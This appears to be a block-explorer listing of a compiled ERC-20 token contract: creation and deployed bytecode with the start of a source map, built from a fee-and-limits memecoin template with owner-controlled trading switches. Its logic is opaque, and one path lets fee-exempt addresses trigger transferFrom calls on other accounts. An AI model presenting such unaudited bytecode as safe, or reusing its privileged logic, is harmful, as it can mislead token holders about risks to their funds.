7806338fe99ca146103c457806339509351146103da5780633c30f210146103fa57600080fd5b8063180b0d7e116101f8578063180b0d7e1461030c57806318160ddd146103305780631b014a281461034557806323b872dd1461035b57806327c8f8351461037b57600080fd5b806306fdde0314610235578063095ea7b31461026057806310d5de53146102905780631694505e146102c057600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5061024a61071d565b6040516102579190611b29565b60405180910390f35b34801561026c57600080fd5b5061028061027b366004611b8c565b6107af565b6040519015158152602001610257565b34801561029c57600080fd5b506102806102ab366004611bb8565b60136020526000908152604090205460ff1681565b3480156102cc57600080fd5b506102f47f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610257565b34801561031857600080fd5b50610322600e5481565b604051908152602001610257565b34801561033c57600080fd5b50600254610322565b34801561035157600080fd5b50610322600d5481565b34801561036757600080fd5b50610280610376366004611bd5565b6107c6565b34801561038757600080fd5b506102f461dead81565b34801561039d57600080fd5b506103a6610875565b005b3480156103b457600080fd5b5060405160098152602001610257565b3480156103d057600080fd5b50610322600b5481565b3480156103e657600080fd5b506102806103f5366004611b8c565b6108bc565b34801561040657600080fd5b506103a6610415366004611b8c565b6108f8565b34801561042657600080fd5b506102f47f000000000000000000000000000000000000000000000000000000000000000081565b34801561045a57600080fd5b50600a546102809060ff1681565b34801561047457600080fd5b50600a546102809062010000900460ff1681565b34801561049457600080fd5b506103a6610907565b3480156104a957600080fd5b506103226104b8366004611bb8565b6001600160a01b031660009081526020819052604090205490565b3480156104df57600080fd5b506103a661095f565b3480156104f457600080fd5b50610280610995565b34801561050957600080fd5b506103a6610518366004611c24565b6109d2565b34801561052957600080fd5b506103a6610538366004611c5d565b610a27565b34801561054957600080fd5b506005546001600160a01b03166102f4565b34801561056757600080fd5b5061024a610a8f565b34801561057c57600080fd5b506103a661058b366004611c24565b610a9e565b34801561059c57600080fd5b50610322600c5481565b3480156105b257600080fd5b506102806105c1366004611b8c565b610b79565b3480156105d257600080fd5b506102806105e1366004611b8c565b610c12565b3480156105f257600080fd5b50610280610601366004611bb8565b60146020526000908152604090205460ff1681565b34801561062257600080fd5b50600a5461028090610100900460ff1681565b34801561064157600080fd5b506103a6610650366004611c24565b610c1f565b34801561066157600080fd5b5061032260075481565b34801561067757600080fd5b50610322610686366004611c76565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156106bd57600080fd5b5061032260085481565b3480156106d357600080fd5b506102806106e2366004611b8c565b610ca8565b3480156106f357600080fd5b506103a6610702366004611bb8565b610cdd565b34801561071357600080fd5b5061032260095481565b60606003805461072c90611ca4565b80601f016020809104026020016040519081016040528092919081815260200182805461075890611ca4565b80156107a55780601f1061077a576101008083540402835291602001916107a5565b820191906000526020600020905b81548152906001019060200180831161078857829003601f168201915b5050505050905090565b60006107bc338484610d75565b5060015b92915050565b60006107d3848484610e99565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561085d5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61086a8533858403610d75565b506001949350505050565b6005546001600160a01b0316331461089f5760405162461bcd60e51b815260040161085490611cde565b6000600b819055600c55600a805462ffff00191662010100179055565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916107bc9185906108f3908690611d29565b610d75565b6109033383836114cd565b5050565b6006546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610954576040519150601f19603f3d011682016040523d82523d6000602084013e610959565b606091505b50505050565b6005546001600160a01b031633146109895760405162461bcd60e51b815260040161085490611cde565b61099360006116f7565b565b6005546000906001600160a01b031633146109c25760405162461bcd60e51b815260040161085490611cde565b50600a805460ff19169055600190565b6005546001600160a01b031633146109fc5760405162461bcd60e51b815260040161085490611cde565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b306000908152602081905260409020548111158015610a465750600081115b610a815760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610854565b610a8c3330836114cd565b50565b60606004805461072c90611ca4565b6005546001600160a01b03163314610ac85760405162461bcd60e51b815260040161085490611cde565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031603610b6f5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610854565b6109038282611749565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610bfb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610854565b610c083385858403610d75565b5060019392505050565b60006107bc338484610e99565b6005546001600160a01b03163314610c495760405162461bcd60e51b815260040161085490611cde565b6001600160a01b038216600081815260126020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b03821660009081526001602090815260408083203080855292528220546107bc9185916108f3908690611d29565b6005546001600160a01b03163314610d075760405162461bcd60e51b815260040161085490611cde565b6001600160a01b038116610d6c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610854565b610a8c816116f7565b6001600160a01b038316610dd75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610854565b6001600160a01b038216610e385760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610854565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ebf5760405162461bcd60e51b815260040161085490611d3c565b6001600160a01b038216610ee55760405162461bcd60e51b815260040161085490611d81565b80600003610efe57610ef98383600061179d565b505050565b610f098383836118f2565b600a5460ff161561127f576005546001600160a01b03848116911614801590610f4057506005546001600160a01b03838116911614155b8015610f5457506001600160a01b03821615155b8015610f6b57506001600160a01b03821661dead14155b8015610f815750600554600160a01b900460ff16155b1561127f57600a54610100900460ff16611019576001600160a01b03831660009081526012602052604090205460ff1680610fd457506001600160a01b03821660009081526012602052604090205460ff165b6110195760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610854565b6001600160a01b03831660009081526014602052604090205460ff16801561105a57506001600160a01b03821660009081526013602052604090205460ff16155b1561113e576007548111156110cf5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610854565b6009546001600160a01b0383166000908152602081905260409020546110f59083611d29565b11156111395760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610854565b61127f565b6001600160a01b03821660009081526014602052604090205460ff16801561117f57506001600160a01b03831660009081526013602052604090205460ff16155b156111f5576007548111156111395760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610854565b6001600160a01b03821660009081526013602052604090205460ff1661127f576009546001600160a01b03831660009081526020819052604090205461123b9083611d29565b111561127f5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610854565b30600090815260208190526040902054600854811080159081906112ab5750600a5462010000900460ff165b80156112c15750600554600160a01b900460ff16155b80156112e657506001600160a01b03851660009081526014602052604090205460ff16155b801561130b57506001600160a01b03851660009081526012602052604090205460ff16155b801561133057506001600160a01b03841660009081526012602052604090205460ff16155b1561135e576005805460ff60a01b1916600160a01b1790556113506119ea565b6005805460ff60a01b191690555b611369858585611a5a565b6005546001600160a01b03861660009081526012602052604090205460ff600160a01b9092048216159116806113b757506001600160a01b03851660009081526012602052604090205460ff165b156113c0575060005b600081156114b9576001600160a01b03861660009081526014602052604090205460ff1680156113f257506000600c54115b1561143757611418600e54611412600c5488611b0a90919063ffffffff16565b90611b1d565b905080600d600082825461142c9190611d29565b9091555061149b9050565b6001600160a01b03871660009081526014602052604090205460ff16801561146157506000600b54115b1561149b57611481600e54611412600b5488611b0a90919063ffffffff16565b905080600d60008282546114959190611d29565b90915550505b80156114ac576114ac87308361179d565b6114b68186611dc4565b94505b6114c487878761179d565b50505050505050565b604080516002808252606082018352600092602083019080368337019050509050828160008151811061150257611502611dd7565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a49190611ded565b816001815181106115b7576115b7611dd7565b6001600160a01b0392831660209182029290920181019190915290851660009081526012909152604090205460ff161561166a576040516323b872dd60e01b81526001600160a01b0384166004820152306024820181905260448201849052906323b872dd906064016020604051808303816000875af115801561163f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116639190611e0a565b5050505050565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac947906116bf908590600090869030904290600401611e27565b600060405180830381600087803b1580156116d957600080fd5b505af11580156116ed573d6000803e3d6000fd5b5050505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260146020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166117c35760405162461bcd60e51b815260040161085490611d3c565b6001600160a01b0382166117e95760405162461bcd60e51b815260040161085490611d81565b6001600160a01b038316600090815260208190526040902054818110156118615760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610854565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611898908490611d29565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118e491815260200190565b60405180910390a350505050565b60006119066005546001600160a01b031690565b6001600160a01b0316846001600160a01b03161415801561193557506005546001600160a01b03848116911614155b6001600160a01b0385166000908152601260205260408120549192509060ff168061197857506001600160a01b03841660009081526012602052604090205460ff165b6001600160a01b0386166000908152601460205260408120549192509060ff1680156119a45750600084115b9050438280156119b15750835b156119c05760108190556114c4565b81156114c4576001600160a01b0386166000908152600f6020526040902081905550505050505050565b3060008181526020819052604081205491611a07903390846114cd565b6000600d8190556006546040516001600160a01b039091169147919081818185875af1925050503d8060008114611663576040519150601f19603f3d011682016040523d82523d6000602084013e611663565b6001600160a01b03831660009081526012602052604081205460ff16158015611a9c57506001600160a01b03831660009081526012602052604090205460ff16155b6001600160a01b0385166000908152601460205260408120549192509060ff16158015611ac95750600083115b9050808015611ad55750815b15611663576010546001600160a01b0386166000908152600f6020526040902054611b009190611dc4565b6011555050505050565b6000611b168284611e98565b9392505050565b6000611b168284611eaf565b600060208083528351808285015260005b81811015611b5657858101830151858201604001528201611b3a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a8c57600080fd5b60008060408385031215611b9f57600080fd5b8235611baa81611b77565b946020939093013593505050565b600060208284031215611bca57600080fd5b8135611b1681611b77565b600080600060608486031215611bea57600080fd5b8335611bf581611b77565b92506020840135611c0581611b77565b929592945050506040919091013590565b8015158114610a8c57600080fd5b60008060408385031215611c3757600080fd5b8235611c4281611b77565b91506020830135611c5281611c16565b809150509250929050565b600060208284031215611c6f57600080fd5b5035919050565b60008060408385031215611c8957600080fd5b8235611c9481611b77565b91506020830135611c5281611b77565b600181811c90821680611cb857607f821691505b602082108103611cd857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156107c0576107c0611d13565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b818103818111156107c0576107c0611d13565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611dff57600080fd5b8151611b1681611b77565b600060208284031215611e1c57600080fd5b8151611b1681611c16565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e775784516001600160a01b031683529383019391830191600101611e52565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176107c0576107c0611d13565b600082611ecc57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122011e7c4f872c6d5234ef6b2d8f549e69c17acb27e3afd9401d642a2675ecdbe0364736f6c634300081300334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

Deployed Bytecode

0x6080604052600436106102295760003560e01c8063715018a611610123578063a9059cbb116100ab578063dd62ed3e1161006f578063dd62ed3e1461066b578063e2f45605146106b1578063e6f70531146106c7578063f2fde38b146106e7578063f8b45b051461070757600080fd5b8063a9059cbb146105c6578063b62496f5146105e6578063bbc0c74214610616578063c024666814610635578063c8c8ebe41461065557600080fd5b80638da5cb5b116100f25780638da5cb5b1461053d57806395d89b411461055b5780639a7a23d6146105705780639bfff46414610590578063a457c2d7146105a657600080fd5b8063715018a6146104d3578063751039fc146104e85780637571336a146104fd578063881dce601461051d57600080fd5b8063293230b8116101b157806349bd5a5e1161017557806349bd5a5e1461041a5780634a62bb651461044e5780636ddd1713146104685780636fc3eaec1461048857806370a082311461049d57600080fd5b8063293230b814610391578063313ce567146103a857806338fe99ca146103c457806339509351146103da5780633c30f210146103fa57600080fd5b8063180b0d7e116101f8578063180b0d7e1461030c57806318160ddd146103305780631b014a281461034557806323b872dd1461035b57806327c8f8351461037b57600080fd5b806306fdde0314610235578063095ea7b31461026057806310d5de53146102905780631694505e146102c057600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5061024a61071d565b6040516102579190611b29565b60405180910390f35b34801561026c57600080fd5b5061028061027b366004611b8c565b6107af565b6040519015158152602001610257565b34801561029c57600080fd5b506102806102ab366004611bb8565b60136020526000908152604090205460ff1681565b3480156102cc57600080fd5b506102f47f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610257565b34801561031857600080fd5b50610322600e5481565b604051908152602001610257565b34801561033c57600080fd5b50600254610322565b34801561035157600080fd5b50610322600d5481565b34801561036757600080fd5b50610280610376366004611bd5565b6107c6565b34801561038757600080fd5b506102f461dead81565b34801561039d57600080fd5b506103a6610875565b005b3480156103b457600080fd5b5060405160098152602001610257565b3480156103d057600080fd5b50610322600b5481565b3480156103e657600080fd5b506102806103f5366004611b8c565b6108bc565b34801561040657600080fd5b506103a6610415366004611b8c565b6108f8565b34801561042657600080fd5b506102f47f000000000000000000000000f599c31af204576bb07e3bc774480154e2ca42d481565b34801561045a57600080fd5b50600a546102809060ff1681565b34801561047457600080fd5b50600a546102809062010000900460ff1681565b34801561049457600080fd5b506103a6610907565b3480156104a957600080fd5b506103226104b8366004611bb8565b6001600160a01b031660009081526020819052604090205490565b3480156104df57600080fd5b506103a661095f565b3480156104f457600080fd5b50610280610995565b34801561050957600080fd5b506103a6610518366004611c24565b6109d2565b34801561052957600080fd5b506103a6610538366004611c5d565b610a27565b34801561054957600080fd5b506005546001600160a01b03166102f4565b34801561056757600080fd5b5061024a610a8f565b34801561057c57600080fd5b506103a661058b366004611c24565b610a9e565b34801561059c57600080fd5b50610322600c5481565b3480156105b257600080fd5b506102806105c1366004611b8c565b610b79565b3480156105d257600080fd5b506102806105e1366004611b8c565b610c12565b3480156105f257600080fd5b50610280610601366004611bb8565b60146020526000908152604090205460ff1681565b34801561062257600080fd5b50600a5461028090610100900460ff1681565b34801561064157600080fd5b506103a6610650366004611c24565b610c1f565b34801561066157600080fd5b5061032260075481565b34801561067757600080fd5b50610322610686366004611c76565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156106bd57600080fd5b5061032260085481565b3480156106d357600080fd5b506102806106e2366004611b8c565b610ca8565b3480156106f357600080fd5b506103a6610702366004611bb8565b610cdd565b34801561071357600080fd5b5061032260095481565b60606003805461072c90611ca4565b80601f016020809104026020016040519081016040528092919081815260200182805461075890611ca4565b80156107a55780601f1061077a576101008083540402835291602001916107a5565b820191906000526020600020905b81548152906001019060200180831161078857829003601f168201915b5050505050905090565b60006107bc338484610d75565b5060015b92915050565b60006107d3848484610e99565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561085d5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61086a8533858403610d75565b506001949350505050565b6005546001600160a01b0316331461089f5760405162461bcd60e51b815260040161085490611cde565b6000600b819055600c55600a805462ffff00191662010100179055565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916107bc9185906108f3908690611d29565b610d75565b6109033383836114cd565b5050565b6006546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610954576040519150601f19603f3d011682016040523d82523d6000602084013e610959565b606091505b50505050565b6005546001600160a01b031633146109895760405162461bcd60e51b815260040161085490611cde565b61099360006116f7565b565b6005546000906001600160a01b031633146109c25760405162461bcd60e51b815260040161085490611cde565b50600a805460ff19169055600190565b6005546001600160a01b031633146109fc5760405162461bcd60e51b815260040161085490611cde565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b306000908152602081905260409020548111158015610a465750600081115b610a815760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610854565b610a8c3330836114cd565b50565b60606004805461072c90611ca4565b6005546001600160a01b03163314610ac85760405162461bcd60e51b815260040161085490611cde565b7f000000000000000000000000f599c31af204576bb07e3bc774480154e2ca42d46001600160a01b0316826001600160a01b031603610b6f5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610854565b6109038282611749565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610bfb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610854565b610c083385858403610d75565b5060019392505050565b60006107bc338484610e99565b6005546001600160a01b03163314610c495760405162461bcd60e51b815260040161085490611cde565b6001600160a01b038216600081815260126020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b03821660009081526001602090815260408083203080855292528220546107bc9185916108f3908690611d29565b6005546001600160a01b03163314610d075760405162461bcd60e51b815260040161085490611cde565b6001600160a01b038116610d6c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610854565b610a8c816116f7565b6001600160a01b038316610dd75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610854565b6001600160a01b038216610e385760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610854565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ebf5760405162461bcd60e51b815260040161085490611d3c565b6001600160a01b038216610ee55760405162461bcd60e51b815260040161085490611d81565b80600003610efe57610ef98383600061179d565b505050565b610f098383836118f2565b600a5460ff161561127f576005546001600160a01b03848116911614801590610f4057506005546001600160a01b03838116911614155b8015610f5457506001600160a01b03821615155b8015610f6b57506001600160a01b03821661dead14155b8015610f815750600554600160a01b900460ff16155b1561127f57600a54610100900460ff16611019576001600160a01b03831660009081526012602052604090205460ff1680610fd457506001600160a01b03821660009081526012602052604090205460ff165b6110195760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610854565b6001600160a01b03831660009081526014602052604090205460ff16801561105a57506001600160a01b03821660009081526013602052604090205460ff16155b1561113e576007548111156110cf5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610854565b6009546001600160a01b0383166000908152602081905260409020546110f59083611d29565b11156111395760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610854565b61127f565b6001600160a01b03821660009081526014602052604090205460ff16801561117f57506001600160a01b03831660009081526013602052604090205460ff16155b156111f5576007548111156111395760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610854565b6001600160a01b03821660009081526013602052604090205460ff1661127f576009546001600160a01b03831660009081526020819052604090205461123b9083611d29565b111561127f5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610854565b30600090815260208190526040902054600854811080159081906112ab5750600a5462010000900460ff165b80156112c15750600554600160a01b900460ff16155b80156112e657506001600160a01b03851660009081526014602052604090205460ff16155b801561130b57506001600160a01b03851660009081526012602052604090205460ff16155b801561133057506001600160a01b03841660009081526012602052604090205460ff16155b1561135e576005805460ff60a01b1916600160a01b1790556113506119ea565b6005805460ff60a01b191690555b611369858585611a5a565b6005546001600160a01b03861660009081526012602052604090205460ff600160a01b9092048216159116806113b757506001600160a01b03851660009081526012602052604090205460ff165b156113c0575060005b600081156114b9576001600160a01b03861660009081526014602052604090205460ff1680156113f257506000600c54115b1561143757611418600e54611412600c5488611b0a90919063ffffffff16565b90611b1d565b905080600d600082825461142c9190611d29565b9091555061149b9050565b6001600160a01b03871660009081526014602052604090205460ff16801561146157506000600b54115b1561149b57611481600e54611412600b5488611b0a90919063ffffffff16565b905080600d60008282546114959190611d29565b90915550505b80156114ac576114ac87308361179d565b6114b68186611dc4565b94505b6114c487878761179d565b50505050505050565b604080516002808252606082018352600092602083019080368337019050509050828160008151811061150257611502611dd7565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a49190611ded565b816001815181106115b7576115b7611dd7565b6001600160a01b0392831660209182029290920181019190915290851660009081526012909152604090205460ff161561166a576040516323b872dd60e01b81526001600160a01b0384166004820152306024820181905260448201849052906323b872dd906064016020604051808303816000875af115801561163f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116639190611e0a565b5050505050565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906116bf908590600090869030904290600401611e27565b600060405180830381600087803b1580156116d957600080fd5b505af11580156116ed573d6000803e3d6000fd5b5050505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260146020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166117c35760405162461bcd60e51b815260040161085490611d3c565b6001600160a01b0382166117e95760405162461bcd60e51b815260040161085490611d81565b6001600160a01b038316600090815260208190526040902054818110156118615760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610854565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611898908490611d29565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118e491815260200190565b60405180910390a350505050565b60006119066005546001600160a01b031690565b6001600160a01b0316846001600160a01b03161415801561193557506005546001600160a01b03848116911614155b6001600160a01b0385166000908152601260205260408120549192509060ff168061197857506001600160a01b03841660009081526012602052604090205460ff165b6001600160a01b0386166000908152601460205260408120549192509060ff1680156119a45750600084115b9050438280156119b15750835b156119c05760108190556114c4565b81156114c4576001600160a01b0386166000908152600f6020526040902081905550505050505050565b3060008181526020819052604081205491611a07903390846114cd565b6000600d8190556006546040516001600160a01b039091169147919081818185875af1925050503d8060008114611663576040519150601f19603f3d011682016040523d82523d6000602084013e611663565b6001600160a01b03831660009081526012602052604081205460ff16158015611a9c57506001600160a01b03831660009081526012602052604090205460ff16155b6001600160a01b0385166000908152601460205260408120549192509060ff16158015611ac95750600083115b9050808015611ad55750815b15611663576010546001600160a01b0386166000908152600f6020526040902054611b009190611dc4565b6011555050505050565b6000611b168284611e98565b9392505050565b6000611b168284611eaf565b600060208083528351808285015260005b81811015611b5657858101830151858201604001528201611b3a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a8c57600080fd5b60008060408385031215611b9f57600080fd5b8235611baa81611b77565b946020939093013593505050565b600060208284031215611bca57600080fd5b8135611b1681611b77565b600080600060608486031215611bea57600080fd5b8335611bf581611b77565b92506020840135611c0581611b77565b929592945050506040919091013590565b8015158114610a8c57600080fd5b60008060408385031215611c3757600080fd5b8235611c4281611b77565b91506020830135611c5281611c16565b809150509250929050565b600060208284031215611c6f57600080fd5b5035919050565b60008060408385031215611c8957600080fd5b8235611c9481611b77565b91506020830135611c5281611b77565b600181811c90821680611cb857607f821691505b602082108103611cd857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156107c0576107c0611d13565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b818103818111156107c0576107c0611d13565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611dff57600080fd5b8151611b1681611b77565b600060208284031215611e1c57600080fd5b8151611b1681611c16565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e775784516001600160a01b031683529383019391830191600101611e52565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176107c0576107c0611d13565b600082611ecc57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122011e7c4f872c6d5234ef6b2d8f549e69c17acb27e3afd9401d642a2675ecdbe0364736f6c63430008130033

Deployed Bytecode Sourcemap

15348:10482:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2830:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3743:169;;;;;;;;;;-1:-1:-1;3743:169:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;3743:169:0;1023:187:1;16291:63:0;;;;;;;;;;-1:-1:-1;16291:63:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15426:51;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1658:32:1;;;1640:51;;1628:2;1613:18;15426:51:0;1467:230:1;15999:37:0;;;;;;;;;;;;;;;;;;;1848:25:1;;;1836:2;1821:18;15999:37:0;1702:177:1;3150:108:0;;;;;;;;;;-1:-1:-1;3238:12:0;;3150:108;;15960:32;;;;;;;;;;;;;;;;3920:492;;;;;;;;;;-1:-1:-1;3920:492:0;;;;;:::i;:::-;;:::i;15529:53::-;;;;;;;;;;;;15575:6;15529:53;;18283:170;;;;;;;;;;;;;:::i;:::-;;3050:92;;;;;;;;;;-1:-1:-1;3050:92:0;;3133:1;2695:36:1;;2683:2;2668:18;3050:92:0;2553:184:1;15887:29:0;;;;;;;;;;;;;;;;4634:215;;;;;;;;;;-1:-1:-1;4634:215:0;;;;;:::i;:::-;;:::i;24601:153::-;;;;;;;;;;-1:-1:-1;24601:153:0;;;;;:::i;:::-;;:::i;15484:38::-;;;;;;;;;;;;;;;15767:33;;;;;;;;;;-1:-1:-1;15767:33:0;;;;;;;;15847:31;;;;;;;;;;-1:-1:-1;15847:31:0;;;;;;;;;;;19207:173;;;;;;;;;;;;;:::i;3266:127::-;;;;;;;;;;-1:-1:-1;3266:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;3367:18:0;3340:7;3367:18;;;;;;;;;;;;3266:127;950:103;;;;;;;;;;;;;:::i;18505:121::-;;;;;;;;;;;;;:::i;18634:167::-;;;;;;;;;;-1:-1:-1;18634:167:0;;;;;:::i;:::-;;:::i;18999:200::-;;